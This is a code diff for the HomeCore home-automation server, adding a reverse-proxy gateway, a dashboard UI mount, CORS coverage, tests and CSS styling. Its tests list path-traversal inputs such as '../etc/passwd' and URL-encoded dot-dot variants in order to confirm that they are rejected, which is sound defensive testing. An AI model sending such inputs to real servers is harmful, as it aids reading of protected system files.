||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn adapt_room_state_passes_through_real_anomaly_threshold() {
|
||||
// When the upstream RoomState DOES carry a real threshold, it must be
|
||||
// forwarded verbatim (no fabrication, no override).
|
||||
let cal = json!({
|
||||
"anomaly": {"kind":"Anomaly","value":0.2,"confidence":0.5,"threshold":0.73},
|
||||
});
|
||||
let ui = adapt_room_state("bedroom_1", &cal);
|
||||
assert_eq!(ui["anomaly"]["threshold"], 0.73, "real threshold must pass through");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn validate_proxy_path_allows_legit_v1_paths() {
|
||||
// The only shape the UI sends must pass unchanged.
|
||||
for ok in [
|
||||
"v1/room/state",
|
||||
"v1/calibration/baselines",
|
||||
"v1/enroll/status",
|
||||
"v1/room/state?bank=living_room", // query is split off before this fn
|
||||
] {
|
||||
// strip any query the caller would have removed; we only validate path
|
||||
let p = ok.split('?').next().unwrap();
|
||||
assert!(validate_proxy_path(p).is_ok(), "{p} should be allowed");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn validate_proxy_path_rejects_traversal_variants() {
|
||||
for bad in [
|
||||
"v1/../../x", // dot-segment traversal
|
||||
"../etc/passwd", // parent escape
|
||||
"/etc/passwd", // absolute
|
||||
"v1\\..\\..\\x", // backslash traversal
|
||||
"..%2f..%2fx", // encoded slash
|
||||
"%2e%2e/x", // encoded dot-dot
|
||||
"v1/%2e%2e%2fadmin", // mixed encoded traversal
|
||||
"%252e%252e/x", // double-encoded (residual %2e after one decode)
|
||||
] {
|
||||
assert!(validate_proxy_path(bad).is_err(), "{bad} must be rejected");
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn cal_proxy_rejects_traversal_with_400_before_upstream() {
|
||||
// `gw()` has calibration_url=None: a path that reached URL-building
|
||||
// would 503 ("not configured"). A 400 here proves the traversal is
|
||||
// rejected BEFORE any upstream request is even attempted.
|
||||
for (method, path) in [
|
||||
("GET", "/api/cal/v1/../../x"),
|
||||
("GET", "/api/cal/..%2f..%2fx"),
|
||||
("GET", "/api/cal/%2e%2e/x"),
|
||||
("POST", "/api/cal/v1/../../x"),
|
||||
] {
|
||||
let (status, body) = send(gateway_router(gw()), method, path).await;
|
||||
assert_eq!(status, StatusCode::BAD_REQUEST, "{method} {path} must be 400");
|
||||
assert!(body.contains("bad_request"), "{method} {path} typed 400 body");
|
||||
assert!(
|
||||
!body.contains("upstream_unavailable"),
|
||||
"{method} {path} must NOT reach the upstream-config branch"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn cal_proxy_allows_legit_path_through_to_upstream_config() {
|
||||
// A legitimate v1 path passes validation and then hits the
|
||||
// "not configured" 503 (proving it was NOT blocked as traversal).
|
||||
let (status, body) = send(gateway_router(gw()), "GET", "/api/cal/v1/room/state").await;
|
||||
assert_eq!(status, StatusCode::SERVICE_UNAVAILABLE);
|
||||
assert!(body.contains("upstream_unavailable"), "legit path should reach upstream branch");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn bank_names_accepts_strings_and_objects() {
|
||||
assert_eq!(bank_names(&json!(["a", "b"])), vec!["a", "b"]);
|
||||
assert_eq!(bank_names(&json!([{"name":"x"}, {"id":"y"}])), vec!["x", "y"]);
|
||||
assert_eq!(bank_names(&json!({"baselines":["z"]})), vec!["z"]);
|
||||
}
|
||||
}
|
||||
@@ -27,7 +27,7 @@ use tracing::{info, warn};
|
||||
|
||||
use homecore::{Context, EntityId, HomeCore, ServiceCall, ServiceError, ServiceName};
|
||||
use homecore::service::FnHandler;
|
||||
use homecore_api::{router, LongLivedTokenStore, SharedState};
|
||||
use homecore_api::{build_cors_layer, router, LongLivedTokenStore, SharedState};
|
||||
use homecore_assist::pipeline::default_pipeline;
|
||||
use homecore_assist::RegexIntentRecognizer;
|
||||
use homecore_automation::AutomationEngine;
|
||||
@@ -35,6 +35,18 @@ use homecore_hap::{bridge::HapBridge, mdns::HapServiceRecord};
|
||||
use homecore_plugins::{InProcessRuntime, PluginRegistry};
|
||||
use homecore_recorder::Recorder;
|
||||
|
||||
use axum::Router;
|
||||
use tower_http::services::ServeDir;
|
||||
use tower_http::trace::TraceLayer;
|
||||
|
||||
mod gateway;
|
||||
use gateway::{GatewayConfig, GatewayState};
|
||||
|
||||
/// Compile-time default location of the HOMECORE-UI assets (ADR-131).
|
||||
/// Works in dev/CI; the appliance overrides with `--ui-dir` /
|
||||
/// `HOMECORE_UI_DIR`.
|
||||
const DEFAULT_UI_DIR: &str = concat!(env!("CARGO_MANIFEST_DIR"), "/ui");
|
||||
|
||||
#[derive(Parser, Debug, Clone)]
|
||||
#[command(name = "homecore-server", version)]
|
||||
struct Cli {
|
||||
@@ -42,6 +54,30 @@ struct Cli {
|
||||
#[arg(long, env = "HOMECORE_BIND", default_value = "0.0.0.0:8123")]
|
||||
bind: SocketAddr,
|
||||
|
||||
/// Directory of the HOMECORE-UI dashboard assets, served at
|
||||
/// `/homecore` (ADR-131). Empty string disables the UI mount.
|
||||
#[arg(long, env = "HOMECORE_UI_DIR", default_value = DEFAULT_UI_DIR)]
|
||||
ui_dir: String,
|
||||
|
||||
/// Base URL of the calibration service (`wifi-densepose calibrate-serve`),
|
||||
/// reverse-proxied by the BFF gateway at `/api/cal/*` (ADR-131 §11).
|
||||
/// Unset → calibration/room endpoints return a typed 503.
|
||||
#[arg(long, env = "HOMECORE_CALIBRATION_URL")]
|
||||
calibration_url: Option<String>,
|
||||
|
||||
/// Bearer token for the calibration service (held server-side only,
|
||||
/// never exposed to the browser — ADR-131 §11.10).
|
||||
#[arg(long, env = "HOMECORE_CALIBRATION_TOKEN")]
|
||||
calibration_token: Option<String>,
|
||||
|
||||
/// COG install directory the gateway's supervisor reads (ADR-131 §11.6).
|
||||
#[arg(long, env = "HOMECORE_APPS_DIR", default_value = "/var/lib/cognitum/apps")]
|
||||
apps_dir: String,
|
||||
|
||||
/// Per-upstream proxy timeout in milliseconds (ADR-131 §11.1).
|
||||
#[arg(long, env = "HOMECORE_GATEWAY_TIMEOUT_MS", default_value_t = 2000)]
|
||||
gateway_timeout_ms: u64,
|
||||
|
||||
/// SQLite recorder DB path. Use `:memory:` for an ephemeral run.
|
||||
#[arg(long, env = "HOMECORE_DB", default_value = "sqlite::memory:")]
|
||||
db: String,
|
||||
@@ -174,15 +210,59 @@ async fn main() -> Result<()> {
|
||||
env!("CARGO_PKG_VERSION"),
|
||||
tokens,
|
||||
);
|
||||
let app = router(api_state);
|
||||
// BFF gateway (ADR-131 §11): single-origin aggregation of the
|
||||
// calibration API + SEED/appliance tiers. Shares the same token store
|
||||
// for auth; upstream credentials stay server-side.
|
||||
let gw = GatewayState::new(
|
||||
api_state.clone(),
|
||||
GatewayConfig {
|
||||
calibration_url: cli.calibration_url.clone(),
|
||||
calibration_token: cli.calibration_token.clone(),
|
||||
apps_dir: std::path::PathBuf::from(&cli.apps_dir),
|
||||
timeout: std::time::Duration::from_millis(cli.gateway_timeout_ms),
|
||||
},
|
||||
);
|
||||
// Merge the HA-compat API + UI mount with the BFF gateway, THEN apply the
|
||||
// audited CORS allowlist + request tracing to the WHOLE surface. The
|
||||
// gateway routes (`/api/homecore/*`, `/api/cal/*`) are merged in outside
|
||||
// `router()`'s own layers, so without this outer layer they would have NO
|
||||
// CORS coverage and would not be traced (ADR-131 §11 review). Applying CORS
|
||||
// again to the homecore-api routes is idempotent.
|
||||
let app = build_app(api_state, &cli.ui_dir)
|
||||
.merge(gateway::gateway_router(gw))
|
||||
.layer(build_cors_layer())
|
||||
.layer(TraceLayer::new_for_http());
|
||||
let listener = tokio::net::TcpListener::bind(cli.bind).await?;
|
||||
info!("HOMECORE-API listening on http://{} (HA-compat /api + /api/websocket)", cli.bind);
|
||||
info!(
|
||||
"HOMECORE BFF gateway active: /api/homecore/* + /api/cal/* (calibration_url={:?})",
|
||||
cli.calibration_url
|
||||
);
|
||||
if !cli.ui_dir.trim().is_empty() {
|
||||
info!("HOMECORE-UI (ADR-131) served at http://{}/homecore/ from {}", cli.bind, cli.ui_dir);
|
||||
} else {
|
||||
info!("HOMECORE-UI mount disabled (--ui-dir empty)");
|
||||
}
|
||||
|
||||
// Run forever (until SIGINT). axum::serve handles graceful shutdown.
|
||||
axum::serve(listener, app).await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Assemble the full HTTP surface: the HA-compat REST + WS router
|
||||
/// (ADR-130) plus the HOMECORE-UI static mount at `/homecore` (ADR-131).
|
||||
/// Split out from `main` so it is exercised by the integration tests.
|
||||
fn build_app(api_state: SharedState, ui_dir: &str) -> Router {
|
||||
let app = router(api_state);
|
||||
if ui_dir.trim().is_empty() {
|
||||
return app;
|
||||
}
|
||||
// ServeDir serves index.html for the directory root, so /homecore/
|
||||
// returns the dashboard and /homecore/js/... /homecore/css/... map
|
||||
// straight onto the asset tree the relative <link>/<script> tags use.
|
||||
app.nest_service("/homecore", ServeDir::new(ui_dir))
|
||||
}
|
||||
|
||||
fn init_tracing() {
|
||||
tracing_subscriber::fmt()
|
||||
.with_env_filter(
|
||||
@@ -304,3 +384,147 @@ fn seed_default_entities(hc: &HomeCore) {
|
||||
info!("State machine seeded with {} default entit{}", total,
|
||||
if total == 1 { "y" } else { "ies" });
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod ui_tests {
|
||||
use super::*;
|
||||
use axum::body::Body;
|
||||
use axum::http::{Request, StatusCode};
|
||||
use homecore::HomeCore;
|
||||
use homecore_api::{LongLivedTokenStore, SharedState};
|
||||
use tower::ServiceExt; // for `oneshot`
|
||||
|
||||
fn test_state() -> SharedState {
|
||||
SharedState::with_tokens(
|
||||
HomeCore::new(),
|
||||
"Test".to_string(),
|
||||
"test",
|
||||
LongLivedTokenStore::allow_any_non_empty(),
|
||||
)
|
||||
}
|
||||
|
||||
async fn get(app: Router, path: &str) -> (StatusCode, String) {
|
||||
let resp = app
|
||||
.oneshot(Request::builder().uri(path).body(Body::empty()).unwrap())
|
||||
.await
|
||||
.unwrap();
|
||||
let status = resp.status();
|
||||
let bytes = axum::body::to_bytes(resp.into_body(), 4 * 1024 * 1024)
|
||||
.await
|
||||
.unwrap();
|
||||
(status, String::from_utf8_lossy(&bytes).into_owned())
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn ui_index_is_served_at_homecore() {
|
||||
let app = build_app(test_state(), DEFAULT_UI_DIR);
|
||||
let (status, body) = get(app, "/homecore/").await;
|
||||
assert_eq!(status, StatusCode::OK, "GET /homecore/ should serve index.html");
|
||||
assert!(body.contains("HOMECORE"), "index.html should mention HOMECORE");
|
||||
assert!(body.contains("./js/app.js"), "index.html should bootstrap app.js");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn ui_design_tokens_are_served() {
|
||||
let app = build_app(test_state(), DEFAULT_UI_DIR);
|
||||
let (status, body) = get(app, "/homecore/css/tokens.css").await;
|
||||
assert_eq!(status, StatusCode::OK);
|
||||
// §3.1 invariant: the exact production palette must be present.
|
||||
assert!(body.contains("#4ecdc4"), "--cyan token must be present");
|
||||
assert!(body.contains("--purple"), "--purple token must be present");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn ui_panels_are_served() {
|
||||
let app = build_app(test_state(), DEFAULT_UI_DIR);
|
||||
for p in ["dashboard", "rooms", "calibration", "fleet", "seed-detail",
|
||||
"entities", "cogs", "events", "audit", "settings"] {
|
||||
let (status, _) = get(app.clone(), &format!("/homecore/js/panels/{p}.js")).await;
|
||||
assert_eq!(status, StatusCode::OK, "panel {p}.js should be served");
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn api_still_works_alongside_ui_mount() {
|
||||
let app = build_app(test_state(), DEFAULT_UI_DIR);
|
||||
// `GET /api/` is auth-gated (HC-API-AUTH-01); send a bearer.
|
||||
let resp = app
|
||||
.oneshot(
|
||||
Request::builder()
|
||||
.uri("/api/")
|
||||
.header("authorization", "Bearer dev")
|
||||
.body(Body::empty())
|
||||
.unwrap(),
|
||||
)
|
||||
.await
|
||||
.unwrap();
|
||||
let status = resp.status();
|
||||
let bytes = axum::body::to_bytes(resp.into_body(), 1 << 20).await.unwrap();
|
||||
let body = String::from_utf8_lossy(&bytes);
|
||||
assert_eq!(status, StatusCode::OK, "the HA-compat API must coexist with the UI mount");
|
||||
assert!(body.contains("API running"));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn ui_mount_can_be_disabled() {
|
||||
let app = build_app(test_state(), "");
|
||||
let (status, _) = get(app, "/homecore/").await;
|
||||
assert_eq!(status, StatusCode::NOT_FOUND, "empty --ui-dir disables the mount");
|
||||
}
|
||||
|
||||
/// Build the SAME merged + layered surface `main()` serves: API + UI mount
|
||||
/// + BFF gateway, with the audited CORS allowlist + tracing applied to the
|
||||
/// whole thing. Used to prove the gateway routes are CORS-covered.
|
||||
fn full_app(state: SharedState) -> Router {
|
||||
use crate::gateway::{GatewayConfig, GatewayState};
|
||||
let gw = GatewayState::new(
|
||||
state.clone(),
|
||||
GatewayConfig {
|
||||
calibration_url: None,
|
||||
calibration_token: None,
|
||||
apps_dir: std::path::PathBuf::from("/nonexistent-apps-dir"),
|
||||
timeout: std::time::Duration::from_millis(200),
|
||||
},
|
||||
);
|
||||
build_app(state, "")
|
||||
.merge(crate::gateway::gateway_router(gw))
|
||||
.layer(homecore_api::build_cors_layer())
|
||||
.layer(TraceLayer::new_for_http())
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn gateway_routes_are_cors_covered_after_merge() {
|
||||
// A CORS preflight from the Vite dev origin must succeed (echo the
|
||||
// allowed origin) for a GATEWAY route — proving the outer CORS layer
|
||||
// covers the merged routes, not just the homecore-api ones.
|
||||
let app = full_app(test_state());
|
||||
let resp = app
|
||||
.oneshot(
|
||||
Request::builder()
|
||||
.method("OPTIONS")
|
||||
.uri("/api/homecore/appliance")
|
||||
.header("origin", "http://localhost:5173")
|
||||
.header("access-control-request-method", "GET")
|
||||
.header("access-control-request-headers", "authorization")
|
||||
.body(Body::empty())
|
||||
.unwrap(),
|
||||
)
|
||||
.await
|
||||
.unwrap();
|
||||
// CORS preflight handled by the layer → 2xx with the origin echoed back.
|
||||
assert!(
|
||||
resp.status().is_success(),
|
||||
"gateway preflight should succeed, got {}",
|
||||
resp.status()
|
||||
);
|
||||
let allow_origin = resp
|
||||
.headers()
|
||||
.get("access-control-allow-origin")
|
||||
.and_then(|v| v.to_str().ok())
|
||||
.unwrap_or("");
|
||||
assert_eq!(
|
||||
allow_origin, "http://localhost:5173",
|
||||
"gateway route must echo the allowlisted dev origin"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,223 @@
|
||||
/*
|
||||
* HOMECORE-UI component styling — ADR-131 §3.3.
|
||||
* Uses only the §3.1 tokens (tokens.css). Polished composition: real
|
||||
* header, icon sidenav, elevated cards, refined metrics/pills/bars.
|
||||
*/
|
||||
|
||||
* { box-sizing: border-box; }
|
||||
|
||||
html, body {
|
||||
margin: 0; padding: 0;
|
||||
background:
|
||||
radial-gradient(1100px 600px at 78% -8%, rgba(78,205,196,0.06), transparent 60%),
|
||||
radial-gradient(900px 500px at 12% 110%, rgba(167,139,250,0.05), transparent 55%),
|
||||
var(--bg);
|
||||
background-attachment: fixed;
|
||||
color: var(--t1);
|
||||
font-family: var(--font);
|
||||
font-size: 14px;
|
||||
line-height: 1.5;
|
||||
-webkit-font-smoothing: antialiased;
|
||||
}
|
||||
|
||||
.mono { font-family: var(--mono); font-size: 0.92em; }
|
||||
.t2 { color: var(--t2); } .t3 { color: var(--t3); }
|
||||
.cyan { color: var(--cyan); } .green { color: var(--green); } .amber { color: var(--amber); }
|
||||
.red { color: var(--red); } .purple { color: var(--purple); }
|
||||
.hidden { display: none !important; }
|
||||
|
||||
/* ── top header ─────────────────────────────────────────────────── */
|
||||
.topnav {
|
||||
display: flex; align-items: center; gap: 16px;
|
||||
background: rgba(17,22,39,0.85);
|
||||
backdrop-filter: blur(8px);
|
||||
border-bottom: 1px solid var(--border);
|
||||
padding: 0 22px; height: 60px;
|
||||
position: sticky; top: 0; z-index: 30;
|
||||
}
|
||||
.brand { display: flex; align-items: center; gap: 10px; }
|
||||
.brand .logo {
|
||||
display: inline-flex; align-items: center; justify-content: center;
|
||||
width: 30px; height: 30px; border-radius: 8px;
|
||||
background: linear-gradient(135deg, var(--cyan), var(--purple));
|
||||
color: var(--bg); font-weight: 800; font-size: 17px;
|
||||
box-shadow: 0 2px 10px rgba(78,205,196,0.25);
|
||||
}
|
||||
.brand .brand-name { font-weight: 700; font-size: 16px; letter-spacing: 0.3px; color: var(--t1); }
|
||||
.brand .brand-sep { color: var(--t3); font-size: 16px; font-weight: 300; }
|
||||
.brand .brand-tag {
|
||||
font-weight: 700; font-size: 12px; letter-spacing: 1px;
|
||||
color: var(--cyan); background: var(--cyan-d);
|
||||
border-radius: 6px; padding: 3px 9px; text-transform: uppercase;
|
||||
}
|
||||
.nav-spacer { flex: 1; }
|
||||
|
||||
/* ── layout ─────────────────────────────────────────────────────── */
|
||||
.shell { display: flex; min-height: calc(100vh - 60px); }
|
||||
.sidenav {
|
||||
width: 224px; flex-shrink: 0;
|
||||
background: rgba(17,22,39,0.45);
|
||||
border-right: 1px solid var(--border);
|
||||
padding: 16px 12px; display: flex; flex-direction: column; gap: 3px;
|
||||
}
|
||||
.sidenav a {
|
||||
display: flex; align-items: center; gap: 11px;
|
||||
padding: 9px 12px; border-radius: 9px;
|
||||
color: var(--t2); text-decoration: none; font-size: 13.5px; font-weight: 500;
|
||||
transition: background .12s, color .12s;
|
||||
}
|
||||
.sidenav a .ico { width: 18px; text-align: center; font-size: 14px; color: var(--t3); }
|
||||
.sidenav a:hover { color: var(--t1); background: var(--card); }
|
||||
.sidenav a.active { color: var(--cyan); background: var(--cyan-d); }
|
||||
.sidenav a.active .ico { color: var(--cyan); }
|
||||
.content { flex: 1; padding: 26px 30px; max-width: 1320px; width: 100%; }
|
||||
|
||||
@media (max-width: 880px) {
|
||||
.shell { flex-direction: column; }
|
||||
.sidenav { width: 100%; flex-direction: row; overflow-x: auto; padding: 8px; gap: 6px; border-right: none; border-bottom: 1px solid var(--border); }
|
||||
.sidenav a .lbl { white-space: nowrap; }
|
||||
.content { padding: 18px; }
|
||||
}
|
||||
|
||||
/* ── headings / section header ──────────────────────────────────── */
|
||||
h1 { font-size: 23px; margin: 0 0 3px; font-weight: 700; letter-spacing: -0.2px; }
|
||||
h2 { font-size: 15px; margin: 0 0 14px; font-weight: 650; color: var(--t1); }
|
||||
h3 { font-size: 12px; margin: 0 0 8px; color: var(--t2); font-weight: 600; text-transform: uppercase; letter-spacing: 0.5px; }
|
||||
|
||||
.section-header { position: relative; padding: 14px 0 4px; margin-bottom: 20px; border-bottom: 1px solid var(--border); }
|
||||
.section-header::before { content: ''; position: absolute; top: 0; left: 0; width: 56px; height: 3px; border-radius: 3px; background: linear-gradient(90deg, var(--cyan), var(--purple)); }
|
||||
.section-header .sub { color: var(--t2); font-size: 13px; margin-top: 2px; }
|
||||
|
||||
/* ── cards ──────────────────────────────────────────────────────── */
|
||||
.card {
|
||||
background: linear-gradient(180deg, rgba(30,37,64,0.35), var(--card));
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--r);
|
||||
padding: 20px 22px; margin-bottom: 16px;
|
||||
box-shadow: 0 1px 2px rgba(0,0,0,0.25);
|
||||
}
|
||||
.card > h2:first-child { margin-bottom: 16px; }
|
||||
.card.tint-amber { background: var(--amber-d); border-color: rgba(212,165,116,0.4); }
|
||||
.card.tint-red { background: var(--red-d); border-color: rgba(224,96,96,0.4); }
|
||||
.card.tint-green { background: var(--green-d); border-color: rgba(107,203,119,0.4); }
|
||||
.card.clickable { cursor: pointer; transition: transform .12s, border-color .12s, box-shadow .12s; }
|
||||
.card.clickable:hover { transform: translateY(-2px); border-color: rgba(78,205,196,0.4); box-shadow: 0 6px 20px rgba(0,0,0,0.35); }
|
||||
|
||||
/* ── pills / badges ─────────────────────────────────────────────── */
|
||||
.pill {
|
||||
display: inline-flex; align-items: center; gap: 5px;
|
||||
border-radius: 6px; padding: 3px 9px;
|
||||
font-size: 10.5px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.5px;
|
||||
line-height: 1.5; white-space: nowrap;
|
||||
}
|
||||
.pill::before { content: ''; width: 6px; height: 6px; border-radius: 50%; background: currentColor; opacity: 0.9; }
|
||||
.pill.cyan { background: var(--cyan-d); color: var(--cyan); }
|
||||
.pill.green { background: var(--green-d); color: var(--green); }
|
||||
.pill.amber { background: var(--amber-d); color: var(--amber); }
|
||||
.pill.red { background: var(--red-d); color: var(--red); }
|
||||
.pill.purple { background: var(--purple-d); color: var(--purple); }
|
||||
.pill.grey { background: rgba(80,88,114,0.18); color: var(--t2); }
|
||||
.method { border-radius: 5px; padding: 2px 7px; font-size: 10.5px; font-weight: 700; }
|
||||
.method.get { background: var(--green-d); color: var(--green); }
|
||||
.method.post { background: var(--amber-d); color: var(--amber); }
|
||||
.method.auth { background: var(--purple-d); color: var(--purple); }
|
||||
|
||||
/* ── buttons ────────────────────────────────────────────────────── */
|
||||
.btn { font-family: var(--font); font-size: 12.5px; font-weight: 600; border-radius: 8px; padding: 8px 15px; cursor: pointer; border: none; transition: filter .12s, background .12s, transform .05s; }
|
||||
.btn:active { transform: translateY(1px); }
|
||||
.btn.primary { background: var(--cyan); color: var(--bg); }
|
||||
.btn.primary:hover { filter: brightness(1.1); box-shadow: 0 4px 14px rgba(78,205,196,0.3); }
|
||||
.btn.ghost { background: rgba(255,255,255,0.02); border: 1px solid var(--border); color: var(--t1); }
|
||||
.btn.ghost:hover { background: var(--card-h); border-color: var(--t3); }
|
||||
.btn:disabled { opacity: 0.4; cursor: not-allowed; }
|
||||
|
||||
/* ── metric cards ───────────────────────────────────────────────── */
|
||||
.metric-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(160px, 1fr)); gap: 14px; }
|
||||
.metric { position: relative; background: var(--card); border: 1px solid var(--border); border-radius: var(--r); padding: 16px 18px; overflow: hidden; }
|
||||
.metric::after { content: ''; position: absolute; left: 0; top: 0; bottom: 0; width: 3px; background: var(--cyan); opacity: 0.6; }
|
||||
.metric .ico { font-size: 15px; color: var(--t3); }
|
||||
.metric .val { font-size: 28px; font-weight: 700; color: var(--cyan); margin: 8px 0 2px; letter-spacing: -0.5px; line-height: 1; }
|
||||
.metric .val.green { color: var(--green); }
|
||||
.metric .lbl { color: var(--t2); font-size: 11.5px; text-transform: uppercase; letter-spacing: 0.4px; }
|
||||
|
||||
/* ── grids ──────────────────────────────────────────────────────── */
|
||||
.grid { display: grid; gap: 14px; }
|
||||
.grid.cols-2 { grid-template-columns: repeat(auto-fill, minmax(340px, 1fr)); }
|
||||
.grid.cols-3 { grid-template-columns: repeat(auto-fill, minmax(270px, 1fr)); }
|
||||
|
||||
/* ── bars ───────────────────────────────────────────────────────── */
|
||||
.bar { background: rgba(0,0,0,0.3); border-radius: 5px; height: 8px; overflow: hidden; width: 100%; }
|
||||
.bar > span { display: block; height: 100%; background: var(--cyan); border-radius: 5px; transition: width .3s; }
|
||||
.bar > span.green { background: var(--green); } .bar > span.amber { background: var(--amber); } .bar > span.red { background: var(--red); }
|
||||
.conf-bar { display: inline-block; width: 56px; height: 6px; background: rgba(0,0,0,0.3); border-radius: 3px; vertical-align: middle; overflow: hidden; }
|
||||
.conf-bar > span { display: block; height: 100%; background: var(--cyan); }
|
||||
.conf-bar > span.amber { background: var(--amber); }
|
||||
|
||||
/* ── provenance badge ───────────────────────────────────────────── */
|
||||
.prov { display: inline-flex; align-items: center; gap: 5px; font-family: var(--mono); font-size: 10.5px; color: var(--t2); background: rgba(0,0,0,0.25); border: 1px solid var(--border); border-radius: 6px; padding: 2px 8px; }
|
||||
.prov .arr { color: var(--t3); } .prov .hailo { color: var(--purple); font-weight: 600; }
|
||||
|
||||
/* ── rows / kv ──────────────────────────────────────────────────── */
|
||||
.row { display: flex; justify-content: space-between; align-items: center; padding: 9px 0; border-bottom: 1px solid var(--border); gap: 12px; }
|
||||
.row:last-child { border-bottom: none; }
|
||||
.row .k { color: var(--t2); font-size: 12.5px; }
|
||||
.row .v { color: var(--t1); }
|
||||
.kv { display: grid; grid-template-columns: auto 1fr; gap: 9px 16px; align-items: center; }
|
||||
.kv .k { color: var(--t2); font-size: 12.5px; }
|
||||
.kv .v { color: var(--t1); }
|
||||
|
||||
pre.json, pre.log { font-family: var(--mono); font-size: 12px; background: rgba(0,0,0,0.35); border: 1px solid var(--border); border-radius: 8px; padding: 12px 14px; overflow: auto; max-height: 320px; color: var(--t1); white-space: pre-wrap; word-break: break-word; }
|
||||
svg.spark { display: block; }
|
||||
|
||||
/* ── banners ────────────────────────────────────────────────────── */
|
||||
.banner { border-radius: 9px; padding: 11px 15px; margin-bottom: 14px; font-size: 13px; display: flex; align-items: center; gap: 10px; flex-wrap: wrap; }
|
||||
.banner::before { font-weight: 700; }
|
||||
.banner.amber { background: var(--amber-d); color: var(--amber); border: 1px solid rgba(212,165,116,0.4); }
|
||||
.banner.amber::before { content: '▲'; }
|
||||
.banner.red { background: var(--red-d); color: var(--red); border: 1px solid rgba(224,96,96,0.4); }
|
||||
.banner.red::before { content: '●'; }
|
||||
.banner.green { background: var(--green-d); color: var(--green); border: 1px solid rgba(107,203,119,0.4); }
|
||||
.banner.green::before { content: '✓'; }
|
||||
|
||||
/* ── lag indicator ──────────────────────────────────────────────── */
|
||||
.lag { font-size: 12px; display: inline-flex; align-items: center; gap: 7px; color: var(--t2); }
|
||||
.lag .dot { width: 8px; height: 8px; border-radius: 50%; background: var(--green); display: inline-block; box-shadow: 0 0 0 3px var(--green-d); }
|
||||
.lag .dot.warn { background: var(--amber); box-shadow: 0 0 0 3px var(--amber-d); }
|
||||
.lag .dot.err { background: var(--red); box-shadow: 0 0 0 3px var(--red-d); }
|
||||
|
||||
/* ── wizard stepper ─────────────────────────────────────────────── */
|
||||
.stepper { display: flex; gap: 10px; margin-bottom: 22px; flex-wrap: wrap; }
|
||||
.step-pill { display: flex; align-items: center; gap: 9px; padding: 8px 15px; border-radius: 24px; border: 1px solid var(--border); color: var(--t3); font-size: 12.5px; font-weight: 600; }
|
||||
.step-pill .n { width: 22px; height: 22px; border-radius: 50%; background: rgba(0,0,0,0.3); display: inline-flex; align-items: center; justify-content: center; font-weight: 700; font-size: 11px; }
|
||||
.step-pill.active { color: var(--cyan); border-color: var(--cyan); background: var(--cyan-d); }
|
||||
.step-pill.active .n { background: var(--cyan); color: var(--bg); }
|
||||
.step-pill.done { color: var(--green); border-color: rgba(107,203,119,0.4); }
|
||||
.step-pill.done .n { background: var(--green); color: var(--bg); }
|
||||
|
||||
/* ── slide-over ─────────────────────────────────────────────────── */
|
||||
.slideover-back { position: fixed; inset: 0; background: rgba(0,0,0,0.6); z-index: 40; backdrop-filter: blur(2px); }
|
||||
.slideover { position: fixed; top: 0; right: 0; bottom: 0; width: 480px; max-width: 92vw; background: var(--card); border-left: 1px solid var(--border); z-index: 41; padding: 26px; overflow-y: auto; box-shadow: -12px 0 40px rgba(0,0,0,0.45); }
|
||||
.slideover .close { float: right; cursor: pointer; color: var(--t2); font-size: 16px; }
|
||||
.slideover .close:hover { color: var(--t1); }
|
||||
|
||||
/* ── inputs ─────────────────────────────────────────────────────── */
|
||||
.search { width: 100%; background: rgba(0,0,0,0.25); border: 1px solid var(--border); border-radius: 9px; padding: 10px 13px; color: var(--t1); font-family: var(--font); font-size: 13px; }
|
||||
.search::placeholder { color: var(--t3); }
|
||||
.search:focus { outline: none; border-color: var(--cyan); box-shadow: 0 0 0 3px var(--cyan-d); }
|
||||
input.inline { background: rgba(0,0,0,0.25); border: 1px solid var(--border); border-radius: 6px; padding: 5px 9px; color: var(--t1); font-family: var(--mono); font-size: 12px; width: 92px; }
|
||||
input.inline:focus { outline: none; border-color: var(--cyan); }
|
||||
select.inline { background: var(--bg2); border: 1px solid var(--border); border-radius: 8px; padding: 7px 10px; color: var(--t1); font-family: var(--font); font-size: 13px; }
|
||||
textarea.inline { background: rgba(0,0,0,0.3); border: 1px solid var(--border); border-radius: 8px; padding: 10px; color: var(--t1); font-family: var(--mono); font-size: 12px; width: 100%; }
|
||||
|
||||
/* ── collapsible ────────────────────────────────────────────────── */
|
||||
.collapsible > .head { cursor: pointer; display: flex; align-items: center; gap: 9px; padding: 4px 0; user-select: none; }
|
||||
.collapsible > .head::before { content: '▸'; color: var(--t3); transition: transform .15s; font-size: 11px; }
|
||||
.collapsible.open > .head::before { transform: rotate(90deg); }
|
||||
.muted-empty { color: var(--t3); font-style: italic; padding: 10px 0; }
|
||||
|
||||
.shield.ok { color: var(--green); } .shield.bad { color: var(--red); }
|
||||
.flex { display: flex; gap: 10px; align-items: center; }
|
||||
.flex.wrap { flex-wrap: wrap; } .spread { justify-content: space-between; } .gap-sm { gap: 6px; }
|
||||
.mt { margin-top: 14px; } .mb { margin-bottom: 14px; }
|
||||
small.ts { color: var(--t3); font-size: 11.5px; }
|
||||
strong.mono { font-size: 13px; color: var(--t1); }
|
||||
@@ -0,0 +1,34 @@
|
||||
/*
|
||||
* HOMECORE-UI design tokens — ADR-131 §3.1 / §3.2.
|
||||
*
|
||||
* These values are extracted verbatim from the production Cognitum
|
||||
* platform (seed.cognitum.one/store + /status). DO NOT introduce new
|
||||
* colours, typefaces, or border radii — ADR-131 §3.3 invariant. A user
|
||||
* navigating from the Cog Store into HOMECORE must not notice a seam.
|
||||
*/
|
||||
:root {
|
||||
/* §3.1 colour palette */
|
||||
